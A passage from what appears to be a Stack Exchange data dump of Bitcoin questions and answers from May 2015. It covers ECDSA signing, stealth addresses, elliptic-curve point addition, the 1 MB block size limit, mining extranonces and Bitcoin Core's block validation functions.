d,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Choose a random integer k in [1,n-1].&lt;/li&gt;&#xA;&lt;li&gt;Compute (x1,y1)=kP, convert x1 into integer and r = x1 mod n.(Return to step1 if r = 0)&lt;/li&gt;&#xA;&lt;li&gt;Computes=(k^-1)*(&lt;strong&gt;SHA1(m)&lt;/strong&gt;+ dr). (Return to step 1 if s= 0)&lt;/li&gt;&#xA;&lt;li&gt;Signature is (r, s) pair.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why SHA1(m) should be a curve point?&lt;/strong&gt; There is only a 50% chance. &lt;/p&gt;&#xA;" OwnerUserId="26390" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2015-05-07T17:43:08.737" Title="Signature: encoding a message - transaction to a point of curve y^2=x^3+7 and Bitcoin Core" Tags="|signature|ecdsa|encoding|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37287" PostTypeId="2" ParentId="37278" CreationDate="2015-05-07T16:45:21.740" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What is exactly user B's stealth address? Is it his public key?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the simplest stealth address scheme, yes. The exact encoding depends on the implementation; DarkWallet's is described &lt;a href=&quot;https://wiki.unsystem.net/en/index.php/DarkWallet/Stealth#Address_format&quot; rel=&quot;nofollow&quot;&gt;in their wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how can I multiply this coordinate with PublicB since both of them are points?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct, &lt;code&gt;S = PrivA * PublicB = PrivB * PublicA&lt;/code&gt; is a point. We want an integral shared secret. ECDH tells you to use the x coordinate of &lt;code&gt;S&lt;/code&gt; as the shared secret, but in Bitcoin it's done differently. Instead &lt;code&gt;int(sha256(compress(S)))&lt;/code&gt; is used:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;serialize S in compressed form as per &lt;a href=&quot;http://www.secg.org/sec1-v2.pdf#page=16&quot; rel=&quot;nofollow&quot;&gt;SEC 1's Elliptic-Curve-Point-to-Octet-String Conversion&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;take its SHA-256 digest&lt;/li&gt;&#xA;&lt;li&gt;interpret the result as a 256-bit big-endian integer&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This integer, &lt;code&gt;c&lt;/code&gt;, is then used by A to calculate a public key &lt;code&gt;PublicB + c*G&lt;/code&gt; to which A spends, and by B to calculate its private key &lt;code&gt;(PrivB + c) * G&lt;/code&gt; from which B can redeem (where &lt;code&gt;G&lt;/code&gt; is the base point generator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there's a problem with this &quot;simplest&quot; scheme. The only way that B's wallet software can see if a UTXO is redeemable by B (to keep track of the wallet's balance) is by doing the math above, which requires &lt;code&gt;PrivB&lt;/code&gt;. In other words, it makes watching-only wallets impossible (and cold wallets impractical).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution to this is to use one &lt;code&gt;PublicB&lt;/code&gt;/&lt;code&gt;PrivB&lt;/code&gt; pair for ECDH, but a different &lt;code&gt;PublicB2&lt;/code&gt;/&lt;code&gt;PrivB2&lt;/code&gt; pair for deriving the spend/redeem keys. Now you can keep &lt;code&gt;PrivB&lt;/code&gt; in your watching-only wallet, and &lt;code&gt;PrivB2&lt;/code&gt; in your cold wallet. On the down side, B's stealth address is now twice as long, containing both &lt;code&gt;PublicB&lt;/code&gt; and &lt;code&gt;PublicB2&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-05-07T16:45:21.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37288" PostTypeId="2" ParentId="37286" CreationDate="2015-05-07T17:36:40.610" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;To sign a transaction (message) in Bitcoin system, you need to encode the message to a point of the curve y^2=x^3+7&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Perhaps you're thinking of &lt;a href=&quot;https://en.wikipedia.org/wiki/ElGamal_encryption&quot; rel=&quot;nofollow&quot;&gt;ElGamal &lt;em&gt;encryption&lt;/em&gt;&lt;/a&gt;, whereby you &lt;em&gt;do&lt;/em&gt; need to select a point on the curve which represents your plaintext.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However for &lt;em&gt;signing&lt;/em&gt;, Bitcoin uses &lt;a href=&quot;https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm#Signature_generation_algorithm&quot; rel=&quot;nofollow&quot;&gt;ECDSA&lt;/a&gt;, and this has no such requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested, the code which implements ECDSA signing is in secp256k1_ecdsa_sig_sign(). For example, &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/fec5c0ea05ec22e12313ce3ec575786f5c52039f/src/secp256k1/src/ecdsa_impl.h#L244-L247&quot; rel=&quot;nofollow&quot;&gt;this is the code&lt;/a&gt; which implements step 6 from the Wikipedia link above.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-05-07T17:36:40.610" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37289" PostTypeId="1" AcceptedAnswerId="37295" CreationDate="2015-05-07T17:42:06.690" Score="2" ViewCount="1052" Body="&lt;p&gt;I have a limited understanding of elliptic curve terminology, but if you can bear with me I'd like to ask this question anyway. I'll start with what I understand...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You do EC multiplication with the private key to get the public key.&lt;/li&gt;&#xA;&lt;li&gt;EC Multiplication is just EC Addition (done over and over again).&lt;/li&gt;&#xA;&lt;li&gt;EC Multiplication can be achieved through a combination of EC Addition and EC Double (for speed).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From the perspective of the graph:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;EC Double&lt;/strong&gt; = draw a tangent on your current point, take the intersect, invert it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;EC Addition&lt;/strong&gt; = draw a line through your current point and a &lt;em&gt;second point&lt;/em&gt;, take the intersect, invert it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EC Double I understand -- you have your current point and you draw a tangent -- no need for any extra points on the curve to get the intersect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But in EC Addition, if I have my current point, where does the second point on the curve come from when attempting to draw a line across the graph to find the next intersect&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="24926" LastActivityDate="2018-11-23T19:37:18.340" Title="In Elliptic Curve Addition, where does the second point come from?" Tags="|ecdsa|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37290" PostTypeId="2" ParentId="37289" CreationDate="2015-05-07T17:56:41.223" Score="3" Body="&lt;p&gt;In elliptic curve cryptography, participants need to agree on certain parameters. For example, you need to agree on &lt;em&gt;which&lt;/em&gt; curve to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of those parameters is called the &lt;em&gt;base point generator&lt;/em&gt;, it is a point on the curve.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You do EC multiplication with the private key to get the public key&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct, &lt;code&gt;PubKey = PrivKey*G = G+G+G+... PrivKey times&lt;/code&gt; where &lt;code&gt;G&lt;/code&gt; is the agreed-upon generator. Does this clarify things?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see its definition in &lt;a href=&quot;http://www.secg.org/SEC2-Ver-1.0.pdf#page=21&quot; rel=&quot;nofollow&quot;&gt;SEC 2 in section 2.7.1&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-05-07T17:56:41.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37291" PostTypeId="1" CreationDate="2015-05-07T18:46:56.333" Score="16" ViewCount="24409" Body="&lt;p&gt;I want to get a database or otherwise retrieve a set off all bitcoin public keys (not addresses) that have non zero balances. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the easiest way to do that? Is there an API that could do such thing? Do I have to download and prune the whole blockchain? If so how would I do that?&lt;/p&gt;&#xA;" OwnerUserId="26392" LastEditorUserId="2306" LastEditDate="2015-05-07T18:51:24.790" LastActivityDate="2023-03-03T16:26:33.450" Title="All Bitcoin Public Keys with non-zero balance" Tags="|blockchain|bitcoind|public-key|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37292" PostTypeId="1" AcceptedAnswerId="37303" CreationDate="2015-05-07T18:48:41.660" Score="17" ViewCount="2944" Body="&lt;p&gt;Bitcoin has a maximum of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1747/bitcoin-block-size-what-are-the-rules&quot;&gt;1 MB of transaction data&lt;/a&gt; in each block. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why is this limit present?&lt;/li&gt;&#xA;&lt;li&gt;When was it added?&lt;/li&gt;&#xA;&lt;li&gt;Was it intended to be temporary?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-08-06T18:56:26.227" Title="What's the purpose of a maximum block size?" Tags="|block|block-size-increase|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37293" PostTypeId="2" ParentId="37291" CreationDate="2015-05-07T23:16:30.793" Score="13" Body="&lt;p&gt;You can't get a database of &lt;em&gt;all&lt;/em&gt; such public keys, but you can get some of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An address, as you know, is a hash of a public key.  When somebody sends coins to an address, you can think of the associated public key as having a positive balance, but nobody else necessarily knows what the public key actually is.  (You can't compute the public key directly from the address, because hash functions are effectively one way.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in order to spend the coins from that address, the spending transaction has to reveal the public key (so that the spending transaction's signature can be verified).  So what you need to look for are addresses with a positive balance that have also had some coins spent.  I am not aware of any simple way to do this short of making an index of all transactions.  It is possible you could rig up a way to produce such a list by querying a fully-synced bitcoind using &lt;code&gt;-txindex&lt;/code&gt; (so that all transactions are indexed), but it seems likely to be inefficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as a randomly chosen example, consider the address &lt;a href=&quot;https://blockchain.info/address/1Q6NNpHM1pyh6kEqzinBhEgsRc3nmpTGLm&quot;&gt;1Q6NNpHM1pyh6kEqzinBhEgsRc3nmpTGLm&lt;/a&gt;.  It is associated with some public key which has a balance of BTC 259.7299, but since (as of this writing) no coins have been spent from that address, nobody except the owner of the address knows what the public key is.  So your database will necessarily be incomplete; probably &lt;em&gt;very&lt;/em&gt; incomplete.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, most people use a new address for each of their transactions (including change addresses), in which case the transaction that reveals the public key for an address also spends all its coins (so that the balance is now zero), and that public key will likely never be used again.  This strategy is used partly because certain theoretical cryptographic attacks are easier if the public key is known, and this strategy mitigates the risk from such attacks; it also increases privacy by making it harder to look at patterns of transactions to try to deduce who the address belongs to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another case in which you can learn the public key is so-called &lt;a href=&quot;http://bitcore.io/guide/script.html#Pay_to_Public_Key_%28p2pk%29&quot;&gt;P2PK transactions&lt;/a&gt;, where the output script includes the actual destination public key, instead of merely its associated address.  These were common in the past, but these days all standard clients use the P2PKH transaction type, in which only the address is used.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2015-05-07T23:27:34.050" LastActivityDate="2015-05-07T23:27:34.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37294" PostTypeId="2" ParentId="11687" CreationDate="2015-05-08T05:03:24.800" Score="1" Body="&lt;p&gt;To transfer to a SQL Server database you can try BitcoinDatabaseGenerator.&lt;br&gt;&#xA;You can download it from &lt;a href=&quot;https://github.com/ladimolnar/BitcoinDatabaseGenerator/releases&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ladimolnar/BitcoinDatabaseGenerator/releases&lt;/a&gt;&lt;br&gt;&#xA;Sources and wiki: &lt;a href=&quot;https://github.com/ladimolnar/BitcoinDatabaseGenerator&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ladimolnar/BitcoinDatabaseGenerator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transfer is very fast. At the time of writing this, the transfer of 266 blockchain files totaling 33 GB took less than one hour and 30 minutes on my development machine. Of course, the time will vary depending on hardware and configuration. &lt;/p&gt;&#xA;" OwnerUserId="26399" LastActivityDate="2015-05-08T05:03:24.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37295" PostTypeId="2" ParentId="37289" CreationDate="2015-05-08T08:35:14.067" Score="3" Body="&lt;p&gt;As in Christopher's answer, in ECDSA key generation you always multiply the private key with the generator point G.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When doing addition, the second point is whatever you need to add to get what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you want to find 3*G, first you do a doubling: 2*G. Then you do addition: (2*G)+G.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to find 14*G, first you do some doublings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2*G&#xA;4*G = 2*(2*G)&#xA;8*G = 2*(4*G)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then some additions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12*G = (8*G)+(4*G)&#xA;14*G = (12*G)+(2*G)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not that this takes a total of 5 operations, rather than 13 as with naively adding G to itself 14 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Equivalently, you can do the following, with the advantage of always having to remember only the last step:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2*G&#xA;3*G = 2*G+G&#xA;6*G = 2*(3*G)&#xA;7*G = 6*G+G&#xA;14*G = 2*(7*G)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is exactly what you do when you want to &lt;a href=&quot;https://en.wikipedia.org/wiki/Exponentiation_by_squaring&quot; rel=&quot;nofollow&quot;&gt;exponentiate ordinary numbers&lt;/a&gt;, such as modular integers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x^2&#xA;x^3 = x^2*x&#xA;x^6 = (x^3)^2&#xA;x^7 = x^6*x&#xA;x^14 = (x^7)^2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With a total of 5 multiplications instead of 13.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2015-05-10T09:12:18.297" LastActivityDate="2015-05-10T09:12:18.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37296" PostTypeId="2" ParentId="37279" CreationDate="2015-05-08T09:07:56.453" Score="6" Body="&lt;p&gt;The pool's mining server gives each miner a template to use for generating blocks. When the server wants to update which transactions are included or which block to build upon it will push a new template to each miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate work for itself the miner is allowed to change the nonce, the timestamp and the extranonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nonce is just a 32-bit number with no special meaning. All possible nonce values are quickly scanned by modern bitcoin ASIC hardware, so with the same timestamp and extranonce you only have a tiny amount of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extranonce is part of the generation transaction, the transaction that generates new coins, which is the first transaction in the block. The extranonce has no special meaning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server must never send out the same block template twice, to ensure that the same work is not done multiple times. In the stratum protocol the extranonce is split in extranonce 1 and extranonce 2. Extranonce 1 belongs to the server and is in a part of the block template that the miner is not allowed to modify. To prevent sending the same work twice the server must never reuse the same extranonce 1 value unless something else (that is not modifiable by the miner) in the template has changed. For example the other (non-generation) transactions, or the previous block (the block we are building upon). As part of the template the server will tell the miner how large the extranonce 2 should be, usually 4 bytes. When the miner has tried all possible nonce values it can generate new work by changing the extranonce 2 value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The timestamp (known as ntime) can also be useful to generate work. This can reduce the work load on a slow controller feeding work to fast ASIC chips. The controller only has to generate enough work to keep the ASICs busy for 1 second, using different extranonce 2 values. After that the ntime can be incremented by 1 every second and the same extranonce 2 values reused. This is known as &quot;roll ntime&quot; or &quot;roll time&quot;, as the ntime field of the block is rolled forward. The ntime value can also be incremented every second for the purpose of more exact timestamps on blocks without reusing extranonce 2 values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way the server and client cooperate to generate work and the same block is never hashed twice.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-05-08T09:07:56.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37297" PostTypeId="2" ParentId="37139" CreationDate="2015-05-08T09:15:34.670" Score="0" Body="&lt;p&gt;Great question and I do not know of any especially in the altcoin spaces.  You basically have two choices to accomplish recurring payments in terms of who holds the keys.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are cool with a custodian of your funds, then it's a pretty easy implementation on the service provider side, but its up to the service to provide the level of control you need.  Also, if their framework is buggy, attacked, since they hold your keys, you could loose your funds without any knowledge of it happening.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option in a non-custodial service but the best experience you'll get would be a notification to send the transaction because you are the person holding onto the private keys and the service can't do it without you signing a transaction.&lt;/p&gt;&#xA;" OwnerUserId="26402" LastActivityDate="2015-05-08T09:15:34.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37298" PostTypeId="5" CreationDate="2015-05-08T09:54:47.043" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-08T09:54:47.043" LastActivityDate="2015-05-08T09:54:47.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37299" PostTypeId="4" CreationDate="2015-05-08T09:54:47.043" Score="0" Body="Plans and arguments around the Block size limit increase from 1MB." OwnerUserId="5406" LastEditorUserId="13866" LastEditDate="2023-05-11T14:11:51.900" LastActivityDate="2023-05-11T14:11:51.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37300" PostTypeId="2" ParentId="32958" CreationDate="2015-05-08T13:15:30.787" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;CheckBlock() --&gt; Checks the info &lt;em&gt;inside a block&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;AcceptBlock() --&gt; Additional checks + write to disk&lt;/li&gt;&#xA;&lt;li&gt;ProcessNewBlock() --&gt; Calls &lt;strong&gt;both&lt;/strong&gt; of the above and also a function called ActivateBestChain(), which decides whether propagation to the network is warranted, among other things.&lt;/li&gt;&#xA;&lt;li&gt;ConnectBlock() and DisconnectBlock() Append the block in question to the end of the blockchain (or take it off from there), linking it with the previous block's hash.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin needs to be industrial-strength code, so expect to see checks everywhere, for anything that could possibly happen (i.e., &gt;1 coinbase transactions in a block, etc.). Moreover, some database operations are atomic, there are decisions when to propagate new blocks to the network, and to further complicate matters, the source code itself is the best documentation out there (slowly changing though, Andreas' Book is just a start).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start with CheckBlock(), which is called by other functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its sequence of operations/function calls are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CheckBlockHeader() --&gt; checks mostly that the PoW is there;&lt;/li&gt;&#xA;&lt;li&gt;fCheckMerkleRoot --&gt; checks correctness of Merkle Root &amp;amp; that there are no duplicate transactions &lt;/li&gt;&#xA;&lt;li&gt;Checks size of the block, whether 1st transaction is coinbase, whether there are other (obviously invalid) coinbase transactions, &lt;em&gt;and only then&lt;/em&gt; it checks the transactions and whether the maximum number of sig_ops has been surpassed (which prevents 'a &quot;rogue miner&quot; from creating an incredibly-expensive-to-validate block.&quot;');&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;AcceptBlock() will make its own checks and write to disk;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in sum, CheckBlock() makes sure that there are no shenanigans within a particular block, AcceptBlock() will write to disk. ProcessNewBlock() calls both CheckBlock() and AcceptBlock(), here's its outline: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Call to CheckBlock(); verifying it's ok;&lt;/li&gt;&#xA;&lt;li&gt;Call to AcceptBlock(); as you can see from the comment prior to the call, AcceptBlock() will write it to disk;&lt;/li&gt;&#xA;&lt;li&gt;Calls and Checks whether ActivateBestChain() is successful&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This leaves out ConnectBlock() and DisconnectBlock()...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ConnectBlock() and DisconnectBlock() Append the block in question to the end of the blockchain (or take it off from there).  These are complex functions, in my opinion they are ripe for a slow refactoring, but see the final note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final note:  I am &lt;strong&gt;not&lt;/strong&gt; a bitcoin-core developer; if one could edit and help out here, I am sure this answer could be considerably improved.   I know one thing, though: the more you study the code, the better your understanding and appreciation of the industrial strength of this magic internet money.&lt;/p&gt;&#xA;" OwnerUserId="890" LastEditorUserId="890" LastEditDate="2015-05-08T13:21:47.650" LastActivityDate="2015-05-08T13:21:47.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37301" PostTypeId="2" ParentId="37259" CreationDate="2015-05-08T13:43:39.103" Score="2" Body="&lt;p&gt;A couple of months prior to a reward halving, the entire community is awake and excited about its prospects:  this has happened not only with bitcoin but will the other alt-chains out there.  So at this moment, bitcointalk, reddit, and most everyone is ready to listen and &lt;em&gt;actually upgrade&lt;/em&gt;.  At other moments, many people might &quot;just be going on with their lives&quot; and not following the news. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, due to bitcoin's and other alt-coins successful reward-halvings, there are slim chances of major issues in the reward-half process. That codebase is extremely solid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's especially important that &lt;em&gt;miners&lt;/em&gt; upgrade, or a hardfork will be created, with all the possible inconsistencies that could happen, drop in computational power, not to mention user confusion and trust in the network.&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2015-05-08T13:43:39.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37302" PostTypeId="1" AcceptedAnswerId="37314" CreationDate="2015-05-08T15:25:40.323" Score="5" ViewCount="1348" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.bitcoin.it/wiki/Hash&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Hash&lt;/a&gt;, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BitCoin uses the SHA-256 hash algorithm to generate verifiably&#xA;  &quot;random&quot; numbers in a way that requires a predictable amount of CPU&#xA;  effort. &lt;strong&gt;Generating a SHA-256 hash with a value less than the current&#xA;  target solves a block and wins you some coins.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is an example for web logs; &lt;a href=&quot;https://code.google.com/p/logstalgia/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/logstalgia/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously solving the hash takes many iterations. I'm curious if there anything that currently lets you visualize a miner hashing? &lt;/p&gt;&#xA;" OwnerUserId="1582" LastEditorUserId="5406" LastEditDate="2016-04-02T09:09:16.070" LastActivityDate="2017-11-06T18:36:17.110" Title="Visualize Bitcoin Hashing" Tags="|hash|mining-technical-details|sha256|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37303" PostTypeId="2" ParentId="37292" CreationDate="2015-05-08T17:12:32.817" Score="21" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is this limit present?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;1. To Maintain Consensus&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There has to be clearly defined rules about which blocks are valid and which are not for the network to agree. Obviously no node will accept a block that is 10 million terabytes, it would be near impossible to download even if it were valid. So where do you set the limit? And what if one node sets their limit differently than other nodes on the network? If this were to happen, the network would no longer be in consensus about which blocks were valid when a block was broadcasted that met some nodes' size limits and did not meet others. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting a network limit on the maximum block size ensures that everyone is in agreement about which blocks are valid and which are not, so that consensus is achieved. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. To Avoid (further) Centralization of Pools&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Suppose we remove the 1 MB cap entirely. A large pool says to itself, &quot;I wish I had a larger percentage of the network hashrate so I could make more profit.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then they realize that since there's no block size limit, they can make a block that is 4 GB large by filling it with nonsense. They and a few other pools have bandwidth large enough to download a block of this size in a reasonable time, but a smaller pool does not. The tiny pool is then stuck trying to download a block that is too large, and continuing to mine on their previous block until they finish downloading the new block. This means the small pool is now wasting their time mining blocks that are likely never to be accepted even if they were solved, since they wouldn't be in the 'longest' chain. Since their hash power is wasted, the original pool operator now has effectively forced smaller pools out of the network, and simultaneously increased their percentage of the network hashrate.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. To Make Full Nodes Feasible&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Essentially, larger blocks means fewer people that can download and verify the chain, which results fewer people willing to run full nodes and store all of the blockchain data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there were no block size limit, malicious persons could artificially bloat the block with nonsense and increase the server costs for everyone running a full node, in addition to making it infeasible for people with just home computers to even keep up with the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to find a block size limit with the right tradeoff between resource restrictions (so that someone on their home computer can still run a full node), and functional requirements (being able to process X number of transactions per second). Eventually, transactions will likely be done off-chain using micropayment channels, but no such solution currently exists.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When was it added?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/a30b56ebe76ffff9f9cc8a6667186179413c6349&quot; rel=&quot;noreferrer&quot;&gt;This commit&lt;/a&gt;, from July 2010, shows the actual commit that added the &lt;code&gt;MAX_BLOCK_SIZE&lt;/code&gt; parameter. The commit doesn't actually even mention that the max block size was added, strangely enough. I suspect that it was done as part of a release that fixed a critical bug, so Satoshi could be sure that everyone would upgrade.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-12-16T17:26:04.403" LastActivityDate="2015-12-16T17:26:04.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37304" PostTypeId="1" AcceptedAnswerId="37305" CreationDate="2015-05-08T17:36:13.323" Score="2" ViewCount="314" Body="&lt;p&gt;I've understood (maybe mistakenly) that once free transactions arrived to be collected into new block the miner will prioritize them by fee, then by maturity, meaning will take the transaction with the oldest inputs. Why?&lt;br&gt;&#xA;What kind of incentive does the miner have to do so?&lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="5406" LastEditDate="2017-09-02T18:05:08.257" LastActivityDate="2017-09-02T18:05:08.257" Title="Why is utxo time a priority for miners?" Tags="|utxo|transaction-selection|coin-age-priority|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37305" PostTypeId="2" ParentId="37304" CreationDate="2015-05-08T18:45:51.463" Score="3" Body="&lt;p&gt;First of all, this is a slight oversimplification: after taking transactions with fees, the standard policy is that priorities of remaining transactions are weighted by age and amount transacted.  For each input to the transaction, the age of the input being spent (counted by number of confirmations) is multiplied by the bitcoin amount of the input, and the result is summed over all inputs to get the priority of the transaction.  So a large-value transaction spending a fairly recent input might get higher priority than a very small-value transaction spending an old input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's certainly no requirement for any given miner to follow this policy (miners have complete freedom as to which valid transactions they include in their blocks), nor is there any direct financial incentive for them to do so.  However, there are a few indirect incentives.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The policy described above is the default behavior of Bitcoin Core.  A miner who is willing to use this policy can use Bitcoin Core for their transaction processing, rather than having to spend time and money to find or develop some other software.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since miners are out to earn bitcoins, they have an incentive to behave in ways that help make the currency convenient and desirable for people to use, since that should increase adoption of the currency and 